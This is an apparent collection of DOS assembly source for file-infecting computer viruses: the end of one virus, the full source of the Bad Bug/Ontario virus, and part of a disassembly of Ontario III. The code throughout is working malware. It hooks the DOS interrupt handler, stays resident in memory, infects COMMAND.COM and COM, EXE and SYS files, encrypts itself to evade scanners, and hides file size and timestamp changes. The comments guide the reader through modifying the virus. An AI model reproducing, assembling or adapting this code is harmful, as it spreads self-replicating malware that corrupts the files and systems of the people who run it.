cmp word ptr ds:[21Ch],1
|
||||
jne go4it2
|
||||
go4it1:
|
||||
jmp go4it4
|
||||
go4it2:
|
||||
mov ax,word ptr ds:[20Ch]
|
||||
mov cx,200h
|
||||
mul cx
|
||||
push ax
|
||||
push dx
|
||||
mov cl,4
|
||||
ror dx,cl
|
||||
shr ax,cl
|
||||
add ax,dx
|
||||
sub ax,word ptr ds:[210h]
|
||||
push ax
|
||||
mov ax,word ptr ds:[21Ch]
|
||||
mov ds:7bh,ax
|
||||
mov ax,word ptr ds:[21Eh]
|
||||
add ax,10h
|
||||
mov ds:7dh,ax
|
||||
pop ax ; This is continues with the
|
||||
mov word ptr ds:[21Eh],ax ; above to put a JMP at the
|
||||
mov word ptr ds:[21Ch],1 ; beginning of the file!
|
||||
inc word ptr ds:[20Ch] ;
|
||||
pop cx ;
|
||||
pop dx ;
|
||||
mov ax,4200h ;
|
||||
call int21
|
||||
jc go4it4
|
||||
go4it3:
|
||||
xor byte ptr ds:[1F8h],8 ;
|
||||
xor ax,ax ; Theses Lines copy the
|
||||
mov ds,ax ; virus code else where
|
||||
mov al,ds:46Ch ; in memory to get it
|
||||
push cs ; ready to infect the file
|
||||
pop ds ; as we must encrypt it
|
||||
push cs ; FIRST when we infect the
|
||||
pop es ; file. so we'll encrypt
|
||||
mov byte ptr ds:[1ECh],al ; this copy we're making!
|
||||
xor si,si ; and append that to the
|
||||
mov di,offset ds:[224h] ; end of the file
|
||||
push di ;
|
||||
mov cx,200h ;
|
||||
cld ;
|
||||
rep movsb
|
||||
mov si,offset ds:[228h] ;Now Encrpyt that copy of the
|
||||
call encrypt_decrypt ;virus we just made...
|
||||
pop dx
|
||||
mov cx,200h ;Write Virus to file!
|
||||
mov ah,40h ;BX=Handle, CX=Bytes
|
||||
call int21 ;DX=pointer to write buffer
|
||||
jc go4it4 ;Duh? Check for errors!
|
||||
xor cx,cx
|
||||
xor dx,dx ;Now move pointer to beginning
|
||||
mov ax,4200h ;of file.
|
||||
call int21
|
||||
jc go4it4 ;Duh? Check for errors!
|
||||
mov dx,208h ;Write to file!
|
||||
mov cx,1Bh ;CX=Bytes
|
||||
mov ah,40h ;DX=pointes to buffer
|
||||
call int21 ;Bah, HumBug
|
||||
go4it4:
|
||||
mov dx,word ptr ds:[206h] ;Leave no tracks...
|
||||
mov cx,word ptr ds:[204h] ; puts back File TIME
|
||||
mov ax,5701h ; and DATE! on file...
|
||||
call int21 ;
|
||||
mov ah,3Eh ;
|
||||
call int21 ;Bah, HumBug...
|
||||
go4it5:
|
||||
pop ax ;Get lost...
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
pop es
|
||||
retn
|
||||
infect endp
|
||||
|
||||
;----------------------------------------------------------------------;
|
||||
; The Original Interrupt 21h handler ;
|
||||
;----------------------------------------------------------------------;
|
||||
|
||||
int21 proc near
|
||||
pushf ;Fake an Int Call...
|
||||
|
||||
call dword ptr cs:[200h] ;Orignal Int21h Handler
|
||||
retn
|
||||
int21 endp
|
||||
|
||||
db 'C:\COMMAND.COM'
|
||||
db 00h, 84h
|
||||
|
||||
;---------------------------------------------------------------------;
|
||||
; The Simple, But VERY Effective Encryption Routine ;
|
||||
;---------------------------------------------------------------------;
|
||||
|
||||
decrypt proc near
|
||||
pop si
|
||||
push si
|
||||
mov al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE!
|
||||
encrypt_decrypt: ;and Virus will be UNDETECTABLE
|
||||
mov cx,1E8h ; LENGTH OF VIRII! Change this!
|
||||
loop_me: not al ; if you modief the virus!
|
||||
xor cs:[si],al ;
|
||||
inc si ;
|
||||
loop loop_me ;
|
||||
;
|
||||
retn
|
||||
decrypt endp
|
||||
|
||||
|
||||
virus ends
|
||||
end start
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
|
||||
@@ -0,0 +1,355 @@
|
||||
|
||||
comment *
|
||||
|
||||
Older version of Bad Bug, also known as Ontario virus.
|
||||
--> Written by Death Angel <--
|
||||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
This virus first puts itself in memory, if not already. Infects the
|
||||
C:\COMMAND.COM file, then infects other files as they are loaded.
|
||||
It appends itself onto COM and EXE files.
|
||||
|
||||
Identification method:
|
||||
======================
|
||||
Checking if already in memory - INT 21/AH=FF, returns AX=0
|
||||
Checking if COM is infected - 4th byte in file "V"
|
||||
Checking if EXE is infected - Instruction Pointer is at 1
|
||||
|
||||
*
|
||||
|
||||
LOC_21 EQU 21H*4
|
||||
REAL_SIZE equ offset EOF
|
||||
|
||||
CODE SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:CODE, DS:CODE
|
||||
ORG 0h
|
||||
|
||||
VBUG PROC FAR
|
||||
nop
|
||||
call MASTER_UNCODE
|
||||
VB01:
|
||||
call VB00
|
||||
VB00:
|
||||
pop bp
|
||||
sub BP, +7
|
||||
mov ax, -1
|
||||
int 21h
|
||||
or ah, ah
|
||||
je GO_PROG
|
||||
|
||||
push ds
|
||||
xor ax, ax
|
||||
mov ds, ax ;BIOS data area
|
||||
sub word ptr ds:[0413H], 2
|
||||
lds bx, ds:[LOC_21]
|
||||
mov word ptr cs:[BP]+offset OLD_21, bx
|
||||
mov word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector
|
||||
mov bx, es
|
||||
dec bx
|
||||
mov ds, bx
|
||||
sub word ptr ds:[0003H], 2048/16 ;Paragraph size
|
||||
mov ax, ds:[0012H] ;Get high memory segment
|
||||
sub ax, 2048/16 ;Make room for ourself
|
||||
mov ds:[0012H], ax ;Save it
|
||||
mov es, ax
|
||||
push cs
|
||||
pop ds
|
||||
mov si, bp ;Put 0000 into SI (if EXE..)
|
||||
xor di, di
|
||||
mov cx, REAL_SIZE+4 ;Plus OLD_21 information!
|
||||
cld
|
||||
rep movsb
|
||||
mov ds, cx ;Put zero into DS
|
||||
cli ;Disable maskable interrupts
|
||||
mov word ptr ds:LOC_21, offset NEW_21
|
||||
mov word ptr ds:LOC_21+2, ax
|
||||
sti ;Enable interrupts
|
||||
mov ax, 4BFFH ;Infect COMMAND.COM file!
|
||||
int 21h
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
|
||||
GO_PROG: ;Check if EXE or COM program?
|
||||
or bp, bp ;Are we an EXE file?
|
||||
je RUN_EXE
|
||||
|
||||
RUN_COM: ;Run this infected .COM file
|
||||
lea si, [BP]+offset RUN_PROG
|
||||
mov di, 100H
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
DUMB_ROUTINE PROC NEAR
|
||||
ret ;Do a local return
|
||||
DUMB_ROUTINE ENDP
|
||||
|
||||
RUN_EXE:
|
||||
mov ax, es ;Get PSP segment
|
||||
add cs:word ptr RUN_PROG+2, ax ;Reallocate entry segment
|
||||
|
||||
db 0EAh ;JMP 0000:0000
|
||||
|
||||
RUN_PROG db 0B4H, 04CH
|
||||
db 0CDH, 021H
|
||||
NEW_21:
|
||||
cmp ax, -1
|
||||
jne NW00
|
||||
inc ax ;Overflow to 0000
|
||||
iret
|
||||
NW00:
|
||||
cmp ah, 4Bh ;Infect program being executed
|
||||
jne RUN_OLD_21
|
||||
cmp al, 03
|
||||
je RUN_OLD_21
|
||||
cmp al, -1
|
||||
jne RO00
|
||||
push cs
|
||||
pop ds
|
||||
mov dx, offset COMMAND_FILE
|
||||
call INFECT_PROGRAM
|
||||
IRET
|
||||
RO00:
|
||||
call INFECT_PROGRAM
|
||||
|
||||
RUN_OLD_21:
|
||||
jmp dword ptr cs:OLD_21 ;Do original interrupt
|
||||
|
||||
INFECT_PROGRAM PROC NEAR
|
||||
;
|
||||
;When entering a normal Int 21/AH=4BH
|
||||
;DS:DX -> Ptr to filename
|
||||
;ES:BX -> Ptr to Parm Block
|
||||
;AL -> 0 - Load/Run, 3 - Overlay
|
||||
;
|
||||
push es
|
||||
push ds
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
; push si
|
||||
; push di
|
||||
|
||||
mov ax, 4300H ;Get file attribute
|
||||
call DO_21
|
||||
jb NO_CLOSE
|
||||
test cl, 00000001b
|
||||
je VB04
|
||||
and cl, 11111110b ;Turn off bit 0 (so you can write)
|
||||
mov ax, 4301H ;Set file attribute
|
||||
call DO_21
|
||||
jb NO_CLOSE
|
||||
|
||||
VB04:
|
||||
mov ax, 3D02h ;Open file for reading & writing
|
||||
call DO_21
|
||||
VB05:
|
||||
JNB VB06
|
||||
NO_CLOSE:
|
||||
JMP END_21
|
||||
VB06:
|
||||
|
||||
mov bx, ax ;Put new handle into BX
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax, 5700H ;Get file date
|
||||
call DO_21
|
||||
mov ds:FILE_TIME, cx
|
||||
mov ds:FILE_DATE, dx
|
||||
|
||||
mov dx, offset TMP_HEADER ;Load in COM/EXE ? file header
|
||||
mov cx, 1BH ;Size of header (for EXE, it doesn't
|
||||
;matter the extra bytes loaded for
|
||||
;COM files.
|
||||
mov ah, 3Fh ;Read from file
|
||||
call DO_21
|
||||
VB10:
|
||||
jb CLOSE_END
|
||||
|
||||
cmp word ptr ds:SIGN, 'ZM' ;Is this an EXE file? (MZ)
|
||||
je INFECT_EXE
|
||||
|
||||
INFECT_COM:
|
||||
mov al, byte ptr SIGN+1
|
||||
cmp al, byte ptr SIGN+3
|
||||
je CLOSE_END
|
||||
|
||||
xor dx, dx
|
||||
xor cx, cx
|
||||
mov ax, 4202H ;Seek from EOF
|
||||
call DO_21
|
||||
VB15:
|
||||
jb CLOSE_END
|
||||
|
||||
;Returns DX:AX number of bytes seeked (Size of file)
|
||||
|
||||
cmp ax, 0E000H ;Check file size
|
||||
ja CLOSE_END
|
||||
push ax
|
||||
mov ax, ds:word ptr [SIGN+0]
|
||||
mov word ptr ds:RUN_PROG+0, ax
|
||||
mov ax, ds:word ptr [SIGN+2]
|
||||
mov word ptr ds:RUN_PROG+2, ax
|
||||
pop ax
|
||||
sub ax, 3 ;Calculate jmp to End of file
|
||||
mov byte ptr ds:SIGN+0, 0E9H ;JMP FAR
|
||||
mov word ptr ds:SIGN+1, ax
|
||||
mov byte ptr ds:SIGN+3, al ;Identification code
|
||||
|
||||
jmp FINISH_INFECT
|
||||
|
||||
;From here in, both EXE & COM files are infected the same
|
||||
;The virus is written, seek to start of file, and re-write the Header
|
||||
|
||||
INFECT_EXE:
|
||||
cmp word ptr ds:START_IP, 1
|
||||
jne VB19
|
||||
VB18:
|
||||
CLOSE_END:
|
||||
jmp END_INFECT
|
||||
VB19:
|
||||
mov ax, ds:[FILE_SIZE] ;Get file size
|
||||
mov cx, 200H
|
||||
mul cx ;Convert to bytes offset
|
||||
|
||||
;If filesize, if bigger then 64K, the overflow is put into DX
|
||||
|
||||
push ax
|
||||
push dx
|
||||
mov cl, 04h
|
||||
ror dx, cl
|
||||
shr ax, cl ;Convert to paragraphs
|
||||
add ax, dx
|
||||
sub ax, ds:SIZE_HEADER
|
||||
PUSH AX
|
||||
mov ax, ds:START_IP
|
||||
mov word ptr ds:RUN_PROG, ax
|
||||
mov ax, ds:START_CS
|
||||
add ax, 0010H
|
||||
mov word ptr ds:RUN_PROG+2, ax
|
||||
POP AX
|
||||
mov word ptr ds:START_CS, ax
|
||||
mov word ptr ds:START_IP, +1
|
||||
inc word ptr ds:FILE_SIZE
|
||||
|
||||
pop cx
|
||||
pop dx
|
||||
mov ax, 4200H ;Goto end of file
|
||||
call DO_21
|
||||
VB20:
|
||||
jb VB25
|
||||
|
||||
FINISH_INFECT:
|
||||
xor ds:byte ptr [DC00]+1, 08h ;Toggle NEG/NOT
|
||||
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
mov AL, byte ptr ds:[46CH] ;Lowest byte of timer count
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ds:[CODE_BYTE], AL ;Put high byte of file seek
|
||||
xor si, si
|
||||
mov di, offset REAL_EOF
|
||||
push di ;Push pointer
|
||||
mov cx, offset EOF
|
||||
cld
|
||||
rep movsb
|
||||
mov si, offset REAL_EOF+04H ;REAL_EOF+VB01
|
||||
call DECODE
|
||||
pop dx ;Restore pointer
|
||||
mov cx, REAL_SIZE
|
||||
mov ah, 40h
|
||||
call DO_21
|
||||
JB END_INFECT
|
||||
|
||||
xor cx, cx
|
||||
xor dx, dx ;Distance to seek into file
|
||||
mov ax, 4200h ;Seek from start of file
|
||||
call DO_21
|
||||
jb END_INFECT
|
||||
|
||||
mov dx, offset TMP_HEADER ;Ptr to New modified header
|
||||
mov cx, 1BH ;Size of header
|
||||
mov ah, 40h ;Write to file
|
||||
call DO_21
|
||||
|
||||
VB25:
|
||||
END_INFECT:
|
||||
mov dx, ds:FILE_DATE
|
||||
mov cx, ds:FILE_TIME
|
||||
mov ax, 5701h ;Set file date/time
|
||||
call DO_21
|
||||
|
||||
CLOSE_FILE:
|
||||
mov ah, 3Eh ;Close the file
|
||||
call DO_21
|
||||
END_21:
|
||||
; pop di
|
||||
; pop si
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
pop es
|
||||
RET
|
||||
|
||||
DO_21:
|
||||
pushf
|
||||
call dword ptr cs:OLD_21
|
||||
ret
|
||||
|
||||
COMMAND_FILE DB 'C:\COMMAND.COM',0
|
||||
|
||||
MASTER_DECODE:
|
||||
CODE_BYTE DB 80H
|
||||
|
||||
MASTER_UNCODE:
|
||||
POP SI
|
||||
PUSH SI
|
||||
MOV AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01]
|
||||
DECODE:
|
||||
MOV CX, OFFSET MASTER_DECODE-OFFSET VB01
|
||||
DC00:
|
||||
NOT AL
|
||||
XOR CS:BYTE PTR [SI], AL
|
||||
INC SI
|
||||
LOOP DC00
|
||||
RET
|
||||
|
||||
INFECT_PROGRAM ENDP
|
||||
|
||||
EOF:
|
||||
|
||||
OLD_21 DD ?
|
||||
|
||||
FILE_TIME DW ?
|
||||
FILE_DATE DW ?
|
||||
|
||||
TMP_HEADER:
|
||||
SIGN DW ?
|
||||
LEN_IMAGE_MOD DW ?
|
||||
FILE_SIZE DW ? ;In 512-increments
|
||||
NUM_REAL DW ?
|
||||
SIZE_HEADER DW ?
|
||||
MIN_ABOVE DW ?
|
||||
MAX_ABOVE DW ?
|
||||
STACK_SS DW ?
|
||||
STACK_SP DW ?
|
||||
CHECKSUM DW ?
|
||||
START_IP DW ?
|
||||
START_CS DW ?
|
||||
DISPLAY_REAL DW ?
|
||||
OVERLAY_NUM DW ?
|
||||
|
||||
REAL_EOF:
|
||||
|
||||
VBUG ENDP
|
||||
|
||||
CODE ENDS
|
||||
END VBUG
|
||||
|
||||
@@ -0,0 +1,993 @@
|
||||
.model tiny
|
||||
.code
|
||||
; Ontario III
|
||||
; Disassembly by Dark Angel of Phalcon/Skism
|
||||
; Assemble with TASM /m ONTARIO3.ASM
|
||||
|
||||
; Virus written by Death Angel of YAM
|
||||
org 0
|
||||
|
||||
decrypt:
|
||||
patch1:
|
||||
mov di,offset endvirus ; usually: offset enddecrypt
|
||||
patch2 = $ - 2
|
||||
patch3 = $
|
||||
mov cx,37E5h
|
||||
patch4 = $ - 2
|
||||
patch5:
|
||||
db 82h, 0C5h, 0D0h ; add ch,0D0h
|
||||
patch6 = $ - 1
|
||||
patch7:
|
||||
mov al,0Ah
|
||||
patch8 = $ - 1
|
||||
|
||||
decrypt_loop:
|
||||
add cs:[di],al
|
||||
patch9 = $ - 1
|
||||
patch10:
|
||||
ror al,cl
|
||||
patch11 = $ - 1
|
||||
patch12:
|
||||
inc di
|
||||
patch13:
|
||||
loop decrypt_loop
|
||||
enddecrypt:
|
||||
|
||||
patch14:
|
||||
db 89h, 0FBh ; mov bx,di
|
||||
patch15 = $ - 1
|
||||
|
||||
sub bx,offset save4
|
||||
xchg ax,cx
|
||||
dec ax
|
||||
cld
|
||||
call saveorigvectors
|
||||
db 0e9h ; jmp
|
||||
SYSpatch dw 0 ; currently jmp to next line
|
||||
int 21h ; installation check
|
||||
or al,ah
|
||||
jz restorefile
|
||||
push ds
|
||||
mov cx,bx
|
||||
mov di,ds ; save current ds
|
||||
mov ah,13h ; get BIOS int 13h handler
|
||||
int 2Fh ; to ds:dx and es:bx
|
||||
|
||||
mov si,ds ; does function function?
|
||||
cmp si,di
|
||||
je skipit
|
||||
push ds
|
||||
push dx
|
||||
mov ah,13h ; restore handler
|
||||
int 2Fh
|
||||
|
||||
|
||||
mov bx,cx ; but save its address too
|
||||
pop word ptr cs:[bx+storeint13_1]
|
||||
pop word ptr cs:[bx+storeint13_2]
|
||||
skipit:
|
||||
xor di,di
|
||||
mov cx,es
|
||||
dec cx
|
||||
mov ds,cx ; get MCB of current program
|
||||
sub word ptr [di+3],140h ; decrease size by 5K
|
||||
mov ax,[di+12h] ; get high memory from PSP
|
||||
sub ax,140h ; decrease size by 5K
|
||||
mov [di+12h],ax ; replace it
|
||||
mov es,ax ; es->high memory segment
|
||||
sub ax,1000h
|
||||
mov word ptr cs:[bx+patchsegment],ax
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bx
|
||||
mov cx,offset save4
|
||||
rep movsb
|
||||
mov ds,cx
|
||||
cli
|
||||
mov word ptr ds:21h*4,offset int21 ; set int 21h handler
|
||||
mov ds:21h*4+2,es ; to virus's
|
||||
sti
|
||||
mov ax,4BFFh ; infect COMSPEC
|
||||
push bx
|
||||
int 21h
|
||||
pop bx
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
restorefile:
|
||||
lea si,[bx+offset save4]
|
||||
mov di,100h
|
||||
cmp bx,di
|
||||
jb restoreEXE
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
retn
|
||||
restoreEXE:
|
||||
mov ax,es ; get start segment
|
||||
add ax,10h ; adjust for PSP
|
||||
add cs:[si+2],ax ; relocate CS
|
||||
add cs:[si+4],ax ; relocate SS
|
||||
cli
|
||||
mov sp,cs:[si+6] ; restore stack
|
||||
mov ss,cs:[si+4]
|
||||
sti
|
||||
jmp dword ptr cs:[si]
|
||||
|
||||
int21instcheck:
|
||||
inc ax
|
||||
iret
|
||||
|
||||
int21:
|
||||
cmp ax,0FFFFh ; installation check?
|
||||
je int21instcheck
|
||||
cmp ah,4Bh ; execute?
|
||||
je execute
|
||||
cmp ah,11h ; FCB find first?
|
||||
je findfirstnext
|
||||
cmp ah,12h ; FCB find next?
|
||||
je findfirstnext
|
||||
cmp ax,3D00h ; open file read only?
|
||||
jne int21exit
|
||||
call handleopen
|
||||
int21exit:
|
||||
db 0EAh ; jmp far ptr
|
||||
oldint21 dd 0
|
||||
|
||||
findfirstnext: ; standard stealth routine
|
||||
push bp
|
||||
mov bp,sp
|
||||
cmp word ptr [bp+4],1234h
|
||||
patchsegment = $ - 2
|
||||
pop bp
|
||||
jb int21exit
|
||||
call callint21 ; do findfirst/next
|
||||
call pushall
|
||||
mov ah,2Fh ; Get DTA
|
||||
call callint21
|
||||
cmp byte ptr es:[bx],0FFh ; extended FCB?
|
||||
je findfirstnextnotextendedFCB
|
||||
sub bx,7 ; convert to standard
|
||||
findfirstnextnotextendedFCB:
|
||||
mov al,es:[bx+1Eh] ; get seconds counter
|
||||
and al,1Fh ; check if 62 seconds
|
||||
cmp al,1Fh ; (infection marker)
|
||||
jne findfirstnextexit ; exit if not
|
||||
mov dx,es:[bx+26h] ; get file size
|
||||
mov ax,es:[bx+24h]
|
||||
sub ax,viruslength ; decrease by virus
|
||||
sbb dx,0 ; size
|
||||
or dx,dx
|
||||
jc findfirstnextexit
|
||||
mov es:[bx+26h],dx ; replace file size
|
||||
mov es:[bx+24h],ax ; with "stealthed" one
|
||||
findfirstnextexit:
|
||||
call popall
|
||||
iret
|
||||
|
||||
execute:
|
||||
mov byte ptr cs:infectSYS,0
|
||||
cmp al,1 ; load/don't execute
|
||||
je load_noexecute
|
||||
cmp al,0FFh ; called by virus
|
||||
je infectCOMSPEC
|
||||
call infectDSDX
|
||||
jmp short int21exit
|
||||
|
||||
infectCOMMANDCOM:
|
||||
mov byte ptr cs:infectSYS,0
|
||||
push dx
|
||||
push ds
|
||||
mov dx,offset command_com
|
||||
push cs
|
||||
pop ds
|
||||
mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
|
||||
call infectDSDX
|
||||
pop ds
|
||||
pop dx
|
||||
iret
|
||||
|
||||
infectCOMSPEC:
|
||||
mov ah,51h ; Get current PSP
|
||||
call callint21
|
||||
mov es,bx
|
||||
mov ds,es:[2Ch] ; environment block
|
||||
xor si,si
|
||||
push cs
|
||||
pop es
|
||||
infectCOMSPECfindcomspec:
|
||||
mov di,offset comspec ; is 'COMSPEC=' the first
|
||||
mov cx,4 ; entry in environment?
|
||||
repe cmpsw ; (should be)
|
||||
jcxz infectCOMSPECnoenvironment ; otherwise, quit
|
||||
infectCOMSPECfindend:
|
||||
lodsb ; search for end of string
|
||||
or al,al
|
||||
jnz infectCOMSPECfindend
|
||||
cmp byte ptr [si],0 ; found it?
|
||||
jne infectCOMSPECfindcomspec; nope, try again
|
||||
jmp short infectCOMMANDCOM ; otherwise, infect
|
||||
infectCOMSPECnoenvironment:
|
||||
mov dx,si
|
||||
mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
|
||||
call infectDSDX ; but are we really? Maybe
|
||||
iret ; it's 4DOS. This is a bug.
|
||||
load_noexecute:
|
||||
push es ; save parameter block
|
||||
push bx
|
||||
call callint21 ; prechain
|
||||
pop bx
|
||||
pop es
|
||||
call pushall
|
||||
jnc load_noexecute_ok ; continue if no error
|
||||
jmp load_noexecute_exit
|
||||
load_noexecute_ok:
|
||||
xor cx,cx
|
||||
lds si,dword ptr es:[bx+12h]; get entry point on return
|
||||
push ds
|
||||
push si
|
||||
mov di,100h
|
||||
cmp si,di
|
||||
jl loading_EXE
|
||||
ja load_noexecute_quit
|
||||
; debugger active
|
||||
lodsb
|
||||
cmp al,0E9h ; check if infected
|
||||
jne load_noexecute_quit
|
||||
lodsw
|
||||
push ax ; save jmp location
|
||||
lodsb
|
||||
cmp al,'O' ; check for infection marker
|
||||
pop si ; get jmp location
|
||||
jnz load_noexecute_quit
|
||||
add si,103h ; convert to file offset
|
||||
inc cx
|
||||
inc cx
|
||||
pop ax
|
||||
push si
|
||||
push ds
|
||||
pop es
|
||||
jmp short check_infection
|
||||
loading_EXE:
|
||||
lea di,[bx+0Eh] ; check SS:SP on return
|
||||
cmp word ptr es:[di],9FFh ; infected?
|
||||
jne load_noexecute_quit
|
||||
check_infection:
|
||||
lodsb
|
||||
cmp al,0BBh ; possibility 1
|
||||
je infected_checked1
|
||||
cmp al,0BEh ; possibility 2
|
||||
je infected_checked1
|
||||
cmp al,0BFh ; possibility 3
|
||||
jne load_noexecute_quit
|
||||
infected_checked1:
|
||||
lodsw ; get starting offset
|
||||
push ax ; to decrypt
|
||||
lodsb ; get next byte
|
||||
cmp al,0B9h ; check for infection
|
||||
lodsw
|
||||
pop si ; offset to decrypt
|
||||
jnz load_noexecute_quit
|
||||
cmp ah,7 ; check if infected
|
||||
je infected_checked2
|
||||
cmp al,0E5h ; ditto
|
||||
jne load_noexecute_quit
|
||||
infected_checked2:
|
||||
add si,save4 - enddecrypt
|
||||
jcxz disinfectEXE
|
||||
rep movsw
|
||||
jmp short finish_disinfection
|
||||
disinfectEXE:
|
||||
mov ah,51h ; Get current PSP
|
||||
call callint21
|
||||
add bx,10h ; go to file starting CS
|
||||
mov ax,[si+6]
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
mov ax,[si+4]
|
||||
add ax,bx
|
||||
stosw
|
||||
movsw
|
||||
lodsw
|
||||
add ax,bx
|
||||
stosw
|
||||
finish_disinfection:
|
||||
pop di
|
||||
pop es
|
||||
xchg ax,cx
|
||||
mov cx,viruslength
|
||||
rep stosb
|
||||
jmp short load_noexecute_exit
|
||||
load_noexecute_quit:
|
||||
pop ax
|
||||
pop ax
|
||||
load_noexecute_exit:
|
||||
call popall
|
||||
retf 2
|
||||
|
||||
|
||||
handleopen:
|
||||
call pushall
|
||||
mov si,dx ; find extension of
|
||||
handleopenscanloop: ; ASCIIZ string
|
||||
lodsb
|
||||
or al,al ; found end of screen?
|
||||
jz handleopenexit ; yup, no extension -- exit
|
||||
cmp al,'.' ; extension found?
|
||||
jne handleopenscanloop
|
||||
mov di,offset validextensions - 3
|
||||
push cs
|
||||
pop es
|
||||
mov cx,4
|
||||
nop
|
||||
|
||||
scanvalidextension:
|
||||
push cx
|
||||
push si
|
||||
mov cl,3
|
||||
add di,cx
|
||||
push di
|
||||
|
||||
check_extension:
|
||||
lodsb
|
||||
and al,5Fh ; Capitalise
|
||||
cmp al,es:[di] ; do they compare ok?
|
||||
jne extension_no_match ; nope, try next one
|
||||
inc di
|
||||
loop check_extension
|
||||
|
||||
cmp al,'S' ; SYS file?
|
||||
jne opennotSYS
|
||||
mov byte ptr cs:infectSYS,0FFh ; infecting SYS file
|
||||
opennotSYS:
|
||||
call infectDSDX
|
||||
add sp,6
|
||||
jmp short handleopenexit
|
||||
extension_no_match:
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
loop scanvalidextension
|
||||
|
||||
handleopenexit:
|
||||
call popall
|
||||
retn
|
||||
|
||||
infectDSDX:
|
||||
call pushall
|
||||
call replaceint13and24
|
||||
push dx
|
||||
push ds
|
||||
mov ax,4300h ; get attributes
|
||||
call callint21
|
||||
push cx
|
||||
pushf
|
||||
jc go_restoreattribs
|
||||
push cx
|
||||
and cl,1 ; check if read only
|
||||
cmp cl,1
|
||||
jne infectDSDXnoclearattributes
|
||||
xor cx,cx ; clear if so
|
||||
mov ax,4301h
|
||||
call callint21
|
||||
infectDSDXnoclearattributes:
|
||||
pop cx
|
||||
and cl,4
|
||||
cmp cl,4
|
||||
je go_restoreattribs
|
||||
mov ax,3D02h ; open file read/write
|
||||
call callint21
|
||||
jnc infectDSDXopenOK ; continue if no error
|
||||
go_restoreattribs:
|
||||
jmp infectDSDXrestoreattributes
|
||||
infectDSDXopenOK:
|
||||
xchg ax,bx ; handle to bx
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov word ptr ds:SYSpatch,0
|
||||
mov ax,5700h ; save file time/date
|
||||
call callint21
|
||||
push dx
|
||||
push cx
|
||||
and cl,1Fh ; check if infected
|
||||
cmp cl,1Fh ; (seconds == 62)
|
||||
je infectDSDXerror
|
||||
mov dx,offset readbuffer ; read header from
|
||||
mov cx,1Ch ; potential carrier
|
||||
mov ah,3Fh ; file to the
|
||||
call callint21 ; buffer
|
||||
jnc infectDSDXreadOK ; continue if no error
|
||||
infectDSDXerror:
|
||||
stc ; mark error
|
||||
jmp infectDSDXclose ; and exit
|
||||
infectDSDXreadOK:
|
||||
cmp ax,cx ; read 1ch bytes?
|
||||
jne infectDSDXerror ; exit if not
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
mov ax,4202h ; go to end of file
|
||||
call callint21
|
||||
or dx,dx
|
||||
jnz infectDSDXfilelargeenough
|
||||
cmp ax,0A01h ; check if too small
|
||||
jb infectDSDXerror
|
||||
infectDSDXfilelargeenough:
|
||||
cmp dl,5
|
||||
ja infectDSDXerror
|
||||
cmp word ptr ds:readbuffer,'ZM' ; EXE?
|
||||
je infectDSDXskipcheck
|
||||
cmp word ptr ds:readbuffer,'MZ' ; EXE?
|
||||
infectDSDXskipcheck:
|
||||
je infectDSDXcheckEXE
|
||||
cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file?
|
||||
jne infectDSDXcheckCOM
|
||||
cmp word ptr ds:readbuffer,0FFFFh ; check if SYS
|
||||
jne infectDSDXerror ; file
|
||||
cmp word ptr ds:readbuffer+2,0FFFFh
|
||||
isanoverlay:
|
||||
jne infectDSDXerror
|
||||
or dx,dx
|
||||
jnz infectDSDXerror
|
||||
push ax ; save file size
|
||||
mov di,offset save4
|
||||
mov ax,5657h ; push di, push si
|
||||
stosw
|
||||
mov ax,0E953h ; push bx, jmp decrypt
|
||||
stosw
|
||||
mov ax,offset decrypt - (offset save4 + 6)
|
||||
stosw
|
||||
mov ax,word ptr ds:readbuffer+6 ; get strategy start point
|
||||
stosw
|
||||
pop ax ; get file size
|
||||
push ax
|
||||
add ax,offset save4
|
||||
mov word ptr ds:readbuffer+6,ax
|
||||
mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
|
||||
mov byte ptr ds:decrypt_loop,36h ; replace with SS:
|
||||
pop ax
|
||||
add ax,offset enddecrypt
|
||||
jmp short go_infectDSDXcontinue
|
||||
infectDSDXcheckCOM:
|
||||
cmp byte ptr ds:readbuffer+3,'O'; check if already infected
|
||||
jmp_infectDSDXerror:
|
||||
je infectDSDXerror
|
||||
cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
|
||||
je dontdoslackspace
|
||||
sub ax,viruslength ; infect slack space of
|
||||
xchg ax,dx ; command.com
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
call callint21
|
||||
dontdoslackspace:
|
||||
mov si,offset readbuffer
|
||||
mov di,offset save4
|
||||
movsw
|
||||
movsw
|
||||
sub ax,3 ; convert size->jmp dest
|
||||
mov byte ptr ds:readbuffer,0E9h ; encode JMP
|
||||
mov word ptr ds:readbuffer+1,ax ; and destination
|
||||
mov byte ptr ds:readbuffer+3,'O' ; mark infected
|
||||
add ax,116h
|
||||
go_infectDSDXcontinue:
|
||||
jmp short infectDSDXcontinue
|
||||
infectDSDXcheckEXE:
|
||||
